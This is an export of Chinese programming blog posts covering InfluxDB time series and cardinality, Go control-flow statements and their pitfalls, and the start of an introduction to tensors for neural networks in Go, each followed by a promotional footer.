什么是时序数据 时序数据，亦称时间序列数据，是指按时间顺序记录的、具有时间戳的数据点。这些数据点可能是连续的(如下图上部的metrics)，例如每秒记录一次；也可能是不规律的，例如在特定事件发生时的记录(如下图下部的events)：\n图来自influxdb，tip: 看图中小圈圈\n时序数据在多个领域具有广泛的应用，如金融市场的股票价格、气候科学的气象数据、工业设备的运行数据、物联网数据以及车联网数据等，如下图（此图来自网络）：\n时序数据有着几个鲜明的特点：\n时间戳 时序数据是与时间相关的数据，每个数据点都有一个时间戳或时间范围来标识其产生或记录的时间。\n大数据量 时序数据通常是大数据量的，需要处理大量的持续不断的数据点。\n数据流 从源头流来的时序数据量往往是不间断的。\n数据量是不可预测的 可能会在不规则的时间间隔内突然传来大量的数据。这在金融市场上非常常见，事件发生后交易量会出现峰值，而这是很难预测的。\n实时性 时序数据常常需要实时处理分析，以便及时采取行动或在数据发生变化时发出警报。异常情况检测就是一个很好的例子。\n追加写入 新的数据点会追加到已有数据的末尾，而不是或极少是修改或删除已有的数据。并且绝大多数情况下，时序数据是按照时间顺序排列的。\n我们看到时序数据和传统的OLTP（联机事务处理）数据具有很多不同的特点，这些不同决定了基于时序数据的数据库管理系统所采用的数据模型、处理的数据规模、数据的访问方式、数据的处理频率、数据的处理方式都有很多不同。\n那么当前主流时序数据库是如何存储、处理和管理时序数据的呢？我们继续向下看。\n2. 时间线：时序数据库对时序数据的建模 初次了解和学习时序数据库(tsdb)的时候，你都会学到一个叫**时间线(Time Series)**的术语，无论你学习的是InfluxDB、Prometheus还是TDengine亦或其他。\nInfluxdb的联合创始人Paul Dix对tsdb中时间线的理解如下：\nPaul认为时间线是解释和理解时序数据的一种方法。其实时间线就是时序数据库界对时序数据的一种建模，时序数据库就是围绕时间线这个模型进行设计和实现的，当然不同的时序数据库所建立的时间线模型略有差异，模型能力也有差别。\n有了时间线这个模型后，我们可以将时序数据库重新定义为：用于存储时间线的系统。\n下面我们就以Influxdb 2.x为例来看看一个真实的时序数据库中的时间线模型。\n2.1 InfluxDB 2.x的Line Protocol 提到时间线，就不能不提到InfluxDB用于写入数据点(data point)的Line Protocol，这是目前时序数据库领域的一个流行的时序数据库ingest(数据摄取)协议。通过Line Protocol我们能直观地看到influxdb 2.x对时间线的建模形式。下面是Line Protocol手册中定义的语法和一个示例：\n// Syntax \u0026lt;measurement\u0026gt;[,\u0026lt;tag_key\u0026gt;=\u0026lt;tag_value\u0026gt;[,\u0026lt;tag_key\u0026gt;=\u0026lt;tag_value\u0026gt;]] \u0026lt;field_key\u0026gt;=\u0026lt;field_value\u0026gt;[,\u0026lt;field_key\u0026gt;=\u0026lt;field_value\u0026gt;] [\u0026lt;timestamp\u0026gt;] // Example myMeasurement,tag1=value1,tag2=value2 fieldKey=\u0026quot;fieldValue\u0026quot; 1556813561098000000 下面Paul Dix一个PPT中的例子的图以及Line Protocol手册中的图，都可以看的更直观一些：\n我们看到：在InfluxDB中，通过Line Protocol插入的一条时序数据包含四个部分：\nmeasurement 时序数据的类别，如温度、湿度等。measurement类似于关系数据库中的一个表名，每个时序数据点都归到一个measurement中。这个部分是必选的。\ntag 时序数据点的标签集合。标签用于描述数据的属性或特征，比如产生的地点、设备的型号等。对每个时序数据点，InfluxDB支持为之打多个标签(tag)，每个标签是一个键值对，多个标签用逗号分隔。不过，tag这部分是可选字段，并且tag的键值对都是string类型。\nfield field部分是时序数据点的指标集合，即时序数据的有效载荷部分，这部分放置的是要得到的field，一个键值对，包括指标名和对应的值。如果要摄入的是某地的天气信息，这里就可以用temperature=35.3,humidity=0.7；如果采集的是某只股票的股价，那么这里可以用price=201。\nfield部分是必选字段，至少应该有一个键值对。和tag不同，field键值对的值部分支持数值、布尔值和字符串。\ntimestamp 顾名思义，这部分是时间戳，是数据点的收集时间。Line Protocol中这部分可空，一旦为空，那么数据点的时间戳就会被默认置为当前时间。\n那么，InfluxDB基于Line Protocol定义的时间线究竟是什么呢？接下来我们就来看一下。\n2.2 时间线与时间点 有了对Line Protocol各部分的认知，再来理解InfluxDB定义的时间线就容易多了。\nInfluxDB定义的时间线由两部分组成，一部分是时间线key，另外一部分则是时间线的value集合。\n时间线key(time series key)：由measurement+tags+field_name构成。每个time series key唯一标识/索引一条时间线。 时间线的value集合(time series values)：是一个(时间戳, field_value)的二元组的集合。 注：我们看到tag name 和tag value都是时间线key的一部分，但field仅name是，这也是tag和field的重要差别之一。\n看一个Paul Dix的PPT中的例子，下面是用Line Protocol摄取的数据：\nweather,city=Denver,state=CO,zip=80222 temp=62.3,humidity=32 weather,city=Bellevue,state=WA,zip=98007 temp=50.7,humidity=76 weather,city=Brooklyn,state=NY,zip=11249 temp=58.2,humidity=55 我们来分析一下，这三条Line Protocol数据中究竟包含有几条时间线！根据时间线key唯一标识一条时间线以及时间线key的定义，我们能得到六种measurement+tags+field_name的组合，即六条时间线：\nweather,city=Denver,state=CO,zip=80222#temp weather,city=Denver,state=CO,zip=80222#humidity weather,city=Bellevue,state=WA,zip=98007#temp weather,city=Bellevue,state=WA,zip=98007#humidity weather,city=Brooklyn,state=NY,zip=11249#temp weather,city=Brooklyn,state=NY,zip=11249#humidity 这样来看，之前摄取的数据在每条时间线上只录入了一个数据点(即时间点)。以第一条时间线为例，其摄入(ingest)的数据点为：\n时间线key：weather,city=Denver,state=CO,zip=80222#temp 时间线value：(62.3, t0) // t0表示摄入时的时间戳 为了更好体现时间线与时间点的关系，我们再利用Line Protocol在上述时间线上加几个数据点：\nweather,city=Denver,state=CO,zip=80222 temp=64.3,humidity=42 // t1 weather,city=Denver,state=CO,zip=80222 temp=65.3,humidity=43 // t2 weather,city=Denver,state=CO,zip=80222 temp=64.9,humidity=45 // t3 这样形成的时间线为：\n时间线key：weather,city=Denver,state=CO,zip=80222#temp 时间线value集合：[(62.3, t0), (64.3, t1), (65.3, t2), (64.9, t3)] 我们针对这条时间线可以直观地画出Denvor的温度趋势图(x轴为时间，y轴是denvor的温度变化)：\n这样看来，Line Protocol一次可以在多个时间线上各自插入一个时间点。\n注：以上是influxdb 2.x对时序数据的建模。influxdb 3.0，即influxdb iox对time series做了重新建模，回归了table的方式：measurement \u0026lt;=\u0026gt; table，其余标签、字段、时间戳都变成了column(列)。\nInfluxDB的时间线抽象非常重要，它对influxdb的存储引擎、查询引擎等的设计有着重要影响。关于时序数据库还有一个重要的问题需要清楚认知，那就是基数(Cardinality)，下面我们就来说说tsdb的基数。\n3 时序数据库的基数 基数并非时序数据库专有的概念，传统关系型数据库中就有基数的概念。《SQL优化核心思想》的第一章第一节讲的就是基数。书中给出的定义是：某个列唯一键(distinct keys)的数量叫作基数。书中还给出了一个比较好理解的例子。比如：性别列，其数值要么是男，要么是女，所以该列的基数为2。\n那么InfluxDB是如何定义一个时序数据库相关的基数的呢？简单来说就是唯一时间线的数量。如果一个数据库只有一个measurement，那么定义该measurement的基数，就是这个measurement下的唯一时间线的数量，下面是一个例子：\nmeasurement1： - 2个tag - tag1：有3个唯一值 - tag2：有4个唯一值 - 5个field 该measurement1的基数为3x4x5=60。\n在InfluxDB 2.x版本中，高基数意味着时间线的膨胀，可能会影响读写性能。因为高基数会增加索引大小，导致内存使用增加、查询性能下降和更长的索引维护时间。同时，高基数还会导致写入速度降低、查询执行时间变长、磁盘空间使用增加和压缩和数据维护操作变得更加复杂和耗时。为了减轻高基数对InfluxDB读写性能的影响，可以采取一些措施，如仔细设计数据模型(减少高基数维度)、使用连续查询或任务进行预聚合、或使用刚刚发布没多久的、号称支持无限时间线的InfluxDB 3.0等。\n4. 小结 时序数据在现实世界中具有广泛的应用。时序数据库，如InfluxDB 2.x，采用时间线作为基本的数据结构以高效地建模、查询和管理时序数据。然而，高基数数据仍然是时序数据库面临的一个重要挑战。理解时序数据库中的时间线以及其优缺点，有助于我们更好地利用时序数据库解决实际问题。\n5. 参考资料 OpenMetric与时序数据库存储模型分析 – https://zhuanlan.zhihu.com/p/410255386 Why time series – https://www.influxdata.com/time-series-database/ The Journey of InfluxDB – https://youtu.be/sfHaYdcDaAY Time Series Data, Cardinality, and InfluxDB – https://www.influxdata.com/blog/time-series-data-cardinality-influxdb/ influxdb 2.x时间线基数 – https://docs.influxdata.com/influxdb/v2.6/reference/glossary/#series-cardinality influxdb 2.x storage engine – https://docs.influxdata.com/influxdb/v2.6/reference/internals/storage-engine/ Line Protocol – https://docs.influxdata.com/influxdb/v2.6/reference/syntax/line-protocol/ “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/05/28/understand-time-series-of-tsdb/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-time-series-of-tsdb-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/05/28/understand-time-series-of-tsdb\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/05/28/understand-time-series-of-tsdb\"\u003ehttps://tonybai.com/2023/05/28/understand-time-series-of-tsdb\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在当今数据爆炸的时代，时序数据已经成为企业和组织中不可或缺的一部分。它们包括了从传感器、监控设备、日志记录系统和金融交易等多种来源的大量数据，这些数据按照时间顺序排列，记录了各种事件和活动的发生和变化。时序数据的分析和处理对于企业的业务决策和运营效率至关重要。为了更好地管理和利用这些数据，人们发明了\u003cstrong\u003e时序数据库管理系统(Time Series Database System，TSDB)\u003c/strong\u003e。\u003c/p\u003e","title":"理解时序数据库的时间线"},{"content":"\n本文永久链接 – https://tonybai.com/2023/05/27/control-flow-statement-in-go\n在高级编程语言中，控制流语句(control-flow statement)是一类用于控制程序执行流程的语句，以下简称为控制语句。它们可以根据条件或循环执行相应的代码块，或者跳转到指定位置执行代码。\n常见的控制语句包括：\n条件语句：根据条件执行不同的代码块，如if语句、switch语句等。 循环语句：根据条件重复执行相应的代码块，如for语句、while语句等。 跳转语句：跳转到指定位置执行代码，如break、goto语句。 异常处理语句：处理程序运行过程中出现的异常，如try-catch语句、throw语句等。 控制语句是编程语言中实现程序逻辑的重要手段，它们可以帮助程序员实现复杂的算法和逻辑。不同的编程语言支持的控制语句的种类和用法可能会有所不同，但它们的基本作用都是相似的，即控制程序的执行流程。\nGo语言中的控制语句语法在主流编程语言中算是极少的了！掐指算来，主要的包括if、for和switch。当然goto、defer、panic/recover语句也应归类于控制语句，并且后面这些控制语句也都是Go语言实现程序逻辑的重要手段。但后面这几个并非本篇讲述的重点，在这篇文章中，我将聚焦于Go的if、for和switch语句。\n1. if语句 首先我们先来看看if语句。\nif语句用于根据一个条件执行相应的代码块，是Go语言中最常用的控制语句。\nif语句的基本语法如下：\nif condition { // code block } else if condition { // code block } else { // code block } 关于if语句，我主要说下面三点：\n1.1 隐式代码块(block) 我们看下面代码：\nfunc bar() { if a := 1; false { } else if b := 2; false { } else if c := 3; false { } else { println(a, b, c) } } 看完这段代码后，你觉得这段代码可以被正常编译吗？如果可以，那么它会输出什么信息呢？Go编译器告诉我们：上面这段可以正常编译并运行！但很多人会质疑：为何在第一个if语句中声明的变量a、第二个if中的变量b以及第三个if中的变量c，在最后的else语句中都可以有效访问呢？\n要想解答这个问题，必须要搞清楚if语句的隐式代码块和作用域规则。上述代码等价于下面代码：\nfunc bar() { { // 等价于第一个if的隐式代码块 a := 1 // 变量a作用域始于此 if false { } else { { // 等价于第一个else if的隐式代码块 b := 2 // 变量b的作用域始于此 if false { } else { { // 等价于第二个else if的隐式代码块 c := 3 // 变量c作用域始于此 if false { } else { println(a, b, c) } // 变量c的作用域终止于此 } } // 变量b的作用域终止于此 } } // 变量a作用域终止于此 } } 通过这段展开后的代码，我们可以清楚地看到第一段代码中的最后的else语句实质上是一个最内层的else，变量a、b、c的作用域范围是可以覆盖到else的。\n注：极客时间的《Go语言第一课》专栏的第11讲对代码块与作用域有着更为全面的讲解，欢迎大家订阅学习。\n1.2 使用自用变量 在Go中使用if语句时，开发者常常纠结于到底使用下面哪种形式：\nif a, ok := foo(); a \u0026lt; 10 \u0026amp;\u0026amp; ok{ //使用if表达式自用变量 } vs. a, ok := foo() if a \u0026lt; 10 \u0026amp;\u0026amp; ok { } 这里建议采用第一种，即“使用if表达式自用变量”，而不是在if外部定义临时变量。因为前者除了简洁，可读性略好的优点外，还有一点优势，那就是将a放在if隐式代码块中，将变量a的作用域限制到最小范围，这样可以避免不同代码段中变量命名相同而引起的冲突问题。进而让代码实现更加清晰和易于理解。\n上述代码还有一个可能让初学者疑惑的点，那就是a \u0026lt; 10 \u0026amp;\u0026amp; ok的运算符优先级问题，是(a \u0026lt; 10) \u0026amp;\u0026amp; ok 还是 a \u0026lt; (10 \u0026amp;\u0026amp; ok)，为了避免给后续代码阅读者带去理解上的困惑，建议使用小括号明确求值时的计算顺序。\n1.3 happy path原则 Go语言中，if语句使用的一个惯例就是遵循happy path(快乐路径)原则，所谓happy path是指通过将缩进程度降到最低，避免if语句或else-if语句的过度嵌套，使代码更易读和可维护。遵循快乐路径原则可以让你的代码变得更容易阅读和理解，执行的流程也变得更加清晰。\nhappy path意味着代码要尽量左对齐，减少嵌套，如下图所示：\n注：上图中原始素材来自于网络。\n在编码实践中，要满足happy path有几个技巧：\n减少else、else if的使用； 避免if语句的嵌套使用； 快速返回。在if语句的body中使用return从函数中返回，而不是继续后续的处理。 注：极客时间的《Go语言第一课》专栏的第18讲对if语句做了更为全面的讲解，欢迎大家订阅学习。\n2. for语句 印象中，for语句在使用频度方面是仅次于的if语句的控制流语句了。这里谈谈Go对于循环语句的支持的特点。\n2.1 仅此一种for循环 Go信奉“做一件事只有一种方法”，不知道这是不是Go仅提供一种形式for语句的最初原因(相较于其他主流编程语言提供while、loop、do…while等)。\nGo经典的for语句有如下一些典型使用形式：\n// 最常规的for循环 for i := 0; i \u0026lt; 10; i++ { fmt.Println(i) } // 模拟while循环 i := 0 for i \u0026lt; 10 { fmt.Println(i) i++ } // 死循环 for { // do something } 2.2 for range不是可有可无 如果说go只有for语句，也不够准确，go还有一个for range变体。不过这个for range变体不是可有可无的，有些遍历没有for range无法完成，比如：\n// 遍历map for k, v := range aMap { } // 遍历string中的字符(非字节遍历) for i, r := range s { // rune } 2.3 带label与不带label的continue和break 在Go语言中，for循环语句中可以使用带label的continue和break语句，也可以使用我们通常认知中的不带label的continue和break语句。不过它们之间的差别应该牢记：\n不带label的continue和break语句 不带label的continue和break语句只能用于当前for循环语句中，它们的作用范围仅限于当前循环体内部。当执行continue语句时，会跳过本次循环，直接进入下一次循环；当执行break语句时，会结束当前循环，直接跳出循环体。\n带label的continue和break语句 带label的continue和break语句可以用于多层嵌套的for循环语句中，它们可以跳出指定的循环体。当执行带label的continue语句时，会跳过指定的循环体中的本次循环，直接进入下一次循环；当执行带label的break语句时，会结束指定的循环体，直接跳出循环。\n下面是一个使用带label的break语句的示例：\npackage main import \u0026quot;fmt\u0026quot; func main() { outerLoop: for i := 1; i \u0026lt;= 3; i++ { for j := 1; j \u0026lt;= 3; j++ { if i == 2 \u0026amp;\u0026amp; j == 2 { // 跳出指定循环体 fmt.Println(\u0026quot;跳出外层循环\u0026quot;) break outerLoop } fmt.Printf(\u0026quot;i=%d, j=%d\\n\u0026quot;, i, j) } } } 在这个例子中，我们使用带label的break语句跳出了外层循环，从而避免了继续执行外层循环。如果使用不带label的break语句，仅会跳出内层循环，而不会跳出外层循环。\n2.4 坑 虽然Go只有一种for语句形式，但可能遇到的“坑”却并不少，这里列出一些典型的“坑”：\n循环变量重用 看一下下面代码：\nfunc main() { var m = []int{1, 2, 3, 4, 5} for i, v := range m { go func() { time.Sleep(time.Second * 3) fmt.Println(i, v) }() } time.Sleep(time.Second * 10) } 你预期的输出是什么呢？实际输出是什么呢？在go playground中执行一下，得到如下结果：\n4 5 4 5 4 5 4 5 4 5 为什么会输出这个结果呢？我将上述代码做一个等价变换你就明白了：\nfunc main() { var m = []int{1, 2, 3, 4, 5} { i, v := 0, 0 for i, v = range m { go func() { time.Sleep(time.Second * 3) fmt.Println(i, v) }() } } time.Sleep(time.Second * 10) } 我们看到：i, v两个变量不是在每次循环时重新声明，而是在整个循环过程中只定义了一份，这就是为何所有goroutine输出的都是“4 5”的原因。Go团队针对这个问题正在设计优化方法，在后续的Go版本中，这个坑可能会被自然“修复”。\nrange表达式副本 我们再来看一段代码：\nfunc main() { var a = [5]int{1, 2, 3, 4, 5} var r [5]int fmt.Println(\u0026quot;original a =\u0026quot;, a) for i, v := range a { if i == 0 { a[1] = 12 a[2] = 13 } r[i] = v } fmt.Println(\u0026quot;after for range loop, r =\u0026quot;, r) fmt.Println(\u0026quot;after for range loop, a =\u0026quot;, a) } 在你的预期中，上面程序的输出结果是这样的：\noriginal a = [1 2 3 4 5] after for range loop, r = [1 12 13 4 5] after for range loop, a = [1 12 13 4 5] 不过实际运行一下，你会看到真正的输出是这样的：\noriginal a = [1 2 3 4 5] after for range loop, r = [1 2 3 4 5] after for range loop, a = [1 12 13 4 5] 究其原因，是因为参数range循环的是a的副本，我们用a’来表示，将上面代码等价变换为下面后，就更容易理解了：\nfor i, v := range a' { //a'是a的一个值拷贝 if i == 0 { a[1] = 12 a[2] = 13 } r[i] = v } 这样变换后，我们知道for range遍历的是a的副本，对a的修改不会影响后续的遍历。\n因此，当使用数组、切片作为range后的待遍历的容器集合时，要十分小心。\nbreak未跳出for 当for与switch语句联合使用时，也要注意避坑，看一下下面代码：\nfunc main() { var sl = []int{5, 19, 6, 3, 8, 12} var firstEven int = -1 // find first even number of the interger slice for i := 0; i \u0026lt; len(sl); i++ { switch sl[i] % 2 { case 0: firstEven = sl[i] break case 1: // do nothing } } println(firstEven) } 执行这个代码，输出结果为12，与我们预期的第一个偶数6不符。原因是什么呢？从输出结果为12来看，应该是break并未跳出for循环，导致循环继续进行到最后。\n记住：Go语言规范中明确规定，不带label的break语句中断执行并跳出的，是同一函数内break语句所在的最内层的for、switch或select。所以，上面这个例子的break语句实际上只跳出了switch语句，并没有跳出外层的for循环，这也就是程序未按我们预期执行的原因。\n注：极客时间的《Go语言第一课》专栏的第19讲对for语句做了更为全面的讲解，欢迎大家订阅学习。\n3. switch语句 最后聊聊switch语句。在Go语言中，switch语句也是一种常用的控制流语句，它可以根据不同的条件执行不同的代码块：\nswitch expression { case value1: // 执行代码块1 case value2: // 执行代码块2 default: // 执行默认代码块 } 由于Go switch语句执行语义不会默认执行下一个case，因此上述switch语句等价于一个多个if-else的语句，但从可读性上来说，比多层的if else更易理解，可读性更好。在这样的场景下，我们是推荐使用switch替代多个if-else语句的。\n3.1 case语句求值顺序 switch语句通常会有很多表达式，这些表达式的求值顺序是有明确规定的，即从switch表达式开始求值，然后各个case语句的求值顺序是从上到下，从左到右的。记住这个顺序，有助于你分析switch语句的执行语义。\n3.2 switch case的灵活性 Go switch语句在语法语义方面相对于其先祖C语言的Switch语句来说，做了很多优化，结果是更加灵活，坑几乎填平，主要的优化包括：\nswitch支持任何值的case比较，而不像C语言只能用int或枚举\n支持case表达式列表\npackage main\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() { num := 3 switch num { case 1, 3, 5: // case支持表达式列表 fmt.Println(\u0026ldquo;奇数\u0026rdquo;) case 2, 4, 6: fmt.Println(\u0026ldquo;偶数\u0026rdquo;) default: fmt.Println(\u0026ldquo;其他\u0026rdquo;) } }\n不会默认执行下一个case语句\nC语言中那种默认执行下一个case语句的执行语义导致我们需要在每个case中都使用break跳出switch，Go修复了这个语义，看下面这个例子：\npackage main import \u0026quot;fmt\u0026quot; func main() { num := 2 switch num { case 1: fmt.Println(\u0026quot;第一个 case 块\u0026quot;) case 2: fmt.Println(\u0026quot;第二个 case 块\u0026quot;) case 3: fmt.Println(\u0026quot;第三个 case 块\u0026quot;) } } 这个例子只会输出“第二个 case 块”，不会执行case 3中的代码。\n如果要显式告知执行下一个case代码块，需要使用fallthrough。显然Go将常见执行逻辑作为默认语义，即每个case执行完跳出；而C语言恰做反了。\n3.3 type switch 这个是其他语言所没有的，又或者说是Go特有的，type switch是针对接口类型表达式的特殊语法，语法格式也比较固定：\nvar x interface{} = 3 switch i := x.(type) { case nil: // x 的类型为 nil println(i) // 输出x中存储的动态类型值 case int: // x 的类型为 int case string: // x 的类型为 string default: // x 的类型为其他类型 } 如果不需要接口变量中存储的动态类型值的话，也可以简化为：\nvar x interface{} = 3 switch x.(type) { case nil: // x 的类型为 nil case int: // x 的类型为 int case string: // x 的类型为 string default: // x 的类型为其他类型 } 注：极客时间的《Go语言第一课》专栏的第20讲对switch语句做了更为全面的讲解，欢迎大家订阅学习。\n4. 小结 Go语言的控制流语句虽然种类不那么丰富，但足够帮助开发者实现各种不同类型的程序逻辑了。在编写代码时，需要根据具体的需求选择合适的控制语句，并注意遵循使用各种控制语句的惯例和规范，避免掉入各种“坑”中。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/05/27/control-flow-statement-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/control-flow-statement-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/05/27/control-flow-statement-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/05/27/control-flow-statement-in-go\"\u003ehttps://tonybai.com/2023/05/27/control-flow-statement-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在高级编程语言中，控制流语句(control-flow statement)是一类用于控制程序执行流程的语句，以下简称为\u003cstrong\u003e控制语句\u003c/strong\u003e。它们可以根据条件或循环执行相应的代码块，或者跳转到指定位置执行代码。\u003c/p\u003e","title":"聊聊Go语言的控制语句"},{"content":"\n本文永久链接 – https://tonybai.com/2023/05/21/go-and-nn-part1-tensor-operations\n0. 背景 2023年年初，我们很可能是见证了一次新工业革命的起点，也可能是见证了AGI(Artificial general intelligence，通用人工智能)孕育的开始。ChatGPT应用以及后续GPT-4大模型的出现，其震撼程度远超当年AlphaGo战胜人类顶尖围棋选手。相对于AlphaGo在一个狭窄领域的建树，ChatGPT则是以摧枯拉朽之势横扫几乎所有脑力劳动行业。\n如今大家更多将ChatGPT及相关应用当做生产力工具，作为程序员，自然会首当其冲的加入到借助AI提升生产力的阵营。但对于程序员来说，如果对一个计算机科学方面的技术没有基本工作原理认知或是完全看不懂，那么就会有一种深深的危机感。\n什么是深度学习、什么是神经网络、什么是大模型、上千亿的参数究竟指的是什么、什么是大模型的量化等都是萦绕在头脑中的未知但又急切想知道的东西。\n有人会说，深度学习发展都十多年了，现在学还来得及么？其实大多数人不是从事机器学习的，普通程序员只需要了解机器学习、深度学习(神经网络)的基本运作原理即可。此外，有了ChatGPT相关工具后，获取和理解知识的效率可以大幅提升，以前需要以年来计算学习新知识技能，现在可能仅需以月来计算，甚至更短。\n作为程序员，了解深度学习，了解神经网络，其实也是去学习一种新的、完全不同于以往的编程范式。以前我们的编程范式是这样的： 人类学习规则，然后通过手工编码将规则内置到系统中，系统运行后，根据明确的规则对输入数据做处理并给出答案(如下图所示)：\n这个大编程范式通常又细分为下面几类，大家根据自己的喜好和工作要求选择不同的编程范式以及编程语言：\n命令式编程范式(C、Go等)； 面向对象编程范式(Java、Ruby)； 函数式编程范式(Haskell、Lisp、Clojure等)； 声明式编程范式(SQL)。 这类范式都归属于符号主义人工智能(symbolic AI)，即都是用来手工编写明确的规则的。符号主义人工智能适合用来解决定义明确的逻辑问题，比如下国际象棋，但它难以给出明确规则来解决更复杂、更模糊的问题，比如图像分类、语音识别或自然语言翻译。\n而机器学习或者说机器学习的结果人工神经网络则是另外一种范式，如下图所示：\n在这个范式中，程序员无需再学习什么规则，因为规则是模型自己通过数据学习来的。程序员只需准备好高质量的训练数据以及对应的答案(标注)，然后建立初始模型(初始神经网络)即可，之后的事情就交给机器了(机器学习并非在数学方面做出什么理论突破，而是“蛮力出奇迹”一个生动案例)。模型通过数据进行自动训练(学习)并生成包含规则的目标模型，而目标模型即程序。\n了解两类截然不同的范式之后，我再来澄清几个问题：\nGo与神经网络系列文章的目的？不是教你如何自己搞出一个大模型，而是将经典机器学习、深度学习(与建立人工神经网络)的来龙去脉搞清楚。 Why Go? 帮助Go程序员学习机器学习。虽然Python代码看起来很容易理解，代码量也会少很多(像Keras这样的框架，甚至将training dataset都集成在框架中了)。 注：通过阅读Python的机器学习/深度学习代码，我觉得不会有什么语言可以代替Python作为AI主力了。用Python做数据准备、训练模型简直简单的不要不要的了。\n从何处开始？张量以及相关运算。 张量在深度学习中扮演着非常重要的角色，因为它们是存储和处理数据的基本单位。张量可以看作是一个“容器”，可以表示向量、矩阵和更高维度的数据结构。深度学习中的神经网络模型使用张量来表示输入数据、模型参数和输出结果，以及在计算过程中的各种中间变量。通过对张量进行数学运算和优化，深度学习模型能够从大量的数据中学习到特征和规律，并用于分类、回归、聚类等任务。因此，张量是深度学习中必不可少的概念之一。最流行的深度学习框架tensorflow都以tensor命名。我们也将从张量(tensor）出发进入机器学习和神经网络世界。\n不过大家要区分数学领域与机器学习领域张量在含义上的不同。在数学领域，张量是一个多维数组，而在机器学习领域，张量是一种数据结构，用于表示多维数组和高维矩阵。两者的相同点在于都是多维数组，但不同点在于它们的应用场景和具体实现方式不同。如上一段描述那样，在机器学习中，张量通常用于表示数据集、神经网络的输入和输出等。\n下面我们就来了解一下张量与张量的运算，包括如何创建张量、执行基本和高级张量操作，以及张量广播(broadcast)与重塑(reshape)操作。\n1. 理解张量 张量是目前所有机器学习系统都使用的基本数据结构。张量这一概念的核心在于，它是一个数据容器。它包含的数据通常是同类型的数值数据，因此它是一个同构的数字容器。\n前面提到过，张量可以表示数字、向量、矩阵甚至更高维度的数据。很多语言采用多维数组来实现张量，不过也有采用平坦数组(flat array)来实现的，比如：gorgonia/tensor。\n无论实现方式是怎样的，从逻辑上看，张量的表现是一致的，即张量是一个有如下属性的同构数据类型。\n1.1 阶数(ndim) 张量的维度通常叫作轴（axis），张量轴的个数也叫作阶（rank）。下面是从0阶张量到4阶张量的示意图：\n0阶张量 仅包含一个数字的张量，也被称为标量(scalar)，也叫标量张量。0阶张量有0个轴。\n1阶张量 1阶张量，也称为向量(vector)，有一个轴。这个向量可以是n维向量，与张量的阶数没有关系。比如在上面图中的一阶张量表示的就是一个4维向量。所谓维度即沿着某个轴上的元素的个数。这个图中一阶张量表示的向量中有4个元素，因此是一个4维向量。\n2阶张量 2阶张量，也称为矩阵(matrix)，有2个轴。在2阶张量中，这两个轴也称为矩阵的行(axis-0)和列(axis-1)，每个轴上的向量都有自己的维度。例如上图中的2阶张量的axis-0轴上有3个元素(每个元素又都是一个向量)，因此是axis-0的维度为3，由此类推，axis-1轴的维度为4。\n注：张量的轴的下标从0开始，如axis-0、axis-1、…、axis-n。\n2阶张量也可以看成是1阶张量的数组。\n3阶或更高阶张量 3阶张量有3个轴，如上图中的3阶张量，可以看成是多个2阶张量组成的数组。\n以此类推，扩展至N阶张量，可以看成是N-1阶张量的数组。\n1.2 形状(shape)。 张量有一个属性为shape，shape由张量每个轴上的维度(轴上元素的个数)组成。以上图中的3阶张量为例，其axis-0轴上有2个元素，axis-1轴上有3个元素，axis-2轴上有4个元素，因此该3阶张量的shape为(2, 3, 4)。axis-0轴也被称为样本轴，下图是按照每一级张量的样本轴对张量做拆解的示意图：\n我们首先对3阶张量(shape(2,3,4))沿着其样本轴方向进行拆解，我们将其拆解2个2阶张量(shape(3,4))。接下来，我们对得到的2阶张量进行拆解，同样沿着其样本轴方向拆解为3个1阶张量(shape(4,))。我们看到，每个1阶张量是一个4维向量，可拆解为4个0阶张量。\n1.3 元素数据类型dtype 